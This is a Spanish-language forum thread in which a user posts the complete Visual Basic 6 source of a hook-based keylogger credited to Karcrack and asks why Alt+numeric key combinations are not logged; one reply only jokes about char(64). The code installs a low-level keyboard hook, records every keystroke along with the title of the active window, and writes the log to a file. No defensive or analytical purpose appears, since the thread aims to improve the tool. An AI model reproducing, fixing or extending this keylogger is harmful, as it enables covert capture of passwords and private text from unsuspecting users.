Título: Problemas con un Keylogger con HOOK
Publicado por: Anteros en 5 Agosto 2010, 22:37 pm
Holas gente Buscando por el foro y encontre un code muy interesante elaborado por Karcrack para poder construir un keylogger con hook y no con timer :) Pero el problema es q lo estuve probando y no guarda las combinaciones con la tecla Alt para los codigos ascii (ni siquiera cnd esta se presiona sola) Por ejem: Si presiono Alt+64= @, Alt+93= ], Alt+36= $ ... etc, etc ... No las guarda en el log Caso contrario con el shift q combinada con otra tecla, si la guarda correctamente A q se debe esto?? Como podria arreglarlo?? Este es el code Option Explicit '||||||||||||||||||||||| '| | '|Autor: Karcrack | '|Fecha: 24/09/08 | '| | '||||||||||||||||||||||| Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long) Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer Private Const WH_KEYBOARD_LL As Long = 13 Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Public Type KBDLLHOOKSTRUCT VkCode As Long ScanCode As Long Flags As Long Time As Long DwExtraInfo As Long End Type Dim KBHook As Long Dim KeyData As String Dim lHwnd As Long Public Sub ManageKeylogger(ByVal Enable As Boolean) Select Case Enable Case True KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0) Case False Call UnhookWindowsHookEx(KBHook) End Select End Sub Public Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long Dim KeyBoardHook As KBDLLHOOKSTRUCT If nCode = 0 Then CopyMemory KeyBoardHook, lParam, Len(KeyBoardHook) With KeyBoardHook If .Flags = 0 Or .Flags = 1 Then If SaveLog(TranslateKey(.VkCode)) > 50 Then Call LogToFile(App.Path & "\Log.log") End If End If End With Else KBProc = CallNextHookEx(KBHook, nCode, wParam, lParam) End If End Function Private Function TranslateKey(ByVal KeyCode As Long) As String Dim LngShift As Long 'Funcion optimizada para su uso en teclados españoles. LngShift = GetAsyncKeyState(vbKeyShift) If KeyCode >= 58 And KeyCode <= 90 Then TranslateKey = IIf(LngShift <> 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode))) ElseIf KeyCode >= 96 And KeyCode <= 105 Then TranslateKey = Chr(KeyCode - 48) ElseIf KeyCode >= 112 And KeyCode <= 123 Then TranslateKey = "{F" & KeyCode - 111 & "}" Else If KeyCode = 160 Then TranslateKey = "" If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}" If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}" If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}" If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}" If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}" If KeyCode = 32 Then TranslateKey = "{ESPACIO}" If KeyCode = 27 Then TranslateKey = "{ESC}" If KeyCode = 46 Then TranslateKey = "{DEL}" If KeyCode = 36 Then TranslateKey = "{HOME}" If KeyCode = 35 Then TranslateKey = "{END}" If KeyCode = 33 Then TranslateKey = "{PAGE UP}" If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}" If KeyCode = 45 Then TranslateKey = "{PASTE}" If KeyCode = 144 Then TranslateKey = "{NUM}" If KeyCode = 111 Then TranslateKey = "{NUMPAD / }" If KeyCode = 106 Then TranslateKey = "{NUMPAD * }" If KeyCode = 109 Then TranslateKey = "{NUMPAD - }" If KeyCode = 107 Then TranslateKey = "{NUMPAD + }" If KeyCode = 13 Then TranslateKey = "{ENTER}" If KeyCode = 8 Then TranslateKey = "{BACK}" If KeyCode = 221 Then TranslateKey = "{ACCENTO}" If KeyCode = 9 Then TranslateKey = "{TAB}" If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}" If KeyCode = 162 Then TranslateKey = "{STRG LEFT}" If KeyCode = 163 Then TranslateKey = "{STRG DER.}" If KeyCode = 91 Then TranslateKey = "{WINDOWS}" If KeyCode = 164 Then TranslateKey = "{ALT}" If KeyCode = 165 Then TranslateKey = "{ALTGR}" If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}" If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",") If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".") If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-") If KeyCode = 191 Then TranslateKey = IIf(LngShift <> 0, "'", "#") If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+") If KeyCode = 186 Then TranslateKey = IIf(LngShift <> 0, "Ü", "ü") If KeyCode = 192 Then TranslateKey = IIf(LngShift <> 0, "Ö", "ö") If KeyCode = 222 Then TranslateKey = IIf(LngShift <> 0, "Ä", "ä") If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "ß") If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "°", "^") If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0") If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1") If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2") If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "§", "3") If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4") If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5") If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6") If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7") If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8") If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9") If KeyCode = 145 Then TranslateKey = "{ROLL}" If KeyCode = 44 Then TranslateKey = "{PRINT}" If KeyCode = 19 Then TranslateKey = "{PAUSE}" If TranslateKey = "" And KeyCode <> 160 Then TranslateKey = KeyCode End If End Function Public Function SaveLog(ByVal sKey As String) As Double Dim aHwnd As Long Dim WinText As String aHwnd = GetForegroundWindow If aHwnd <> lHwnd Then lHwnd = aHwnd WinText = String$(255, Chr$(0)) Call GetWindowText(aHwnd, WinText, Len(WinText)) WinText = Left$(WinText, InStr(WinText, Chr$(0)) - 1) KeyData = KeyData & vbCrLf & "{" & WinText & "} - [" & Now() & "]" & vbCrLf End If KeyData = KeyData & sKey SaveLog = Len(KeyData) End Function Public Sub LogToFile(ByVal sPath As String) Open sPath For Binary As #1 Put #1, , KeyData Close #1 End Sub
Gracias por todo
Título: Re: Problemas con un Keylogger con HOOK
Publicado por: Sanlegas en 8 Agosto 2010, 02:28 am
@ = char(64) :laugh:
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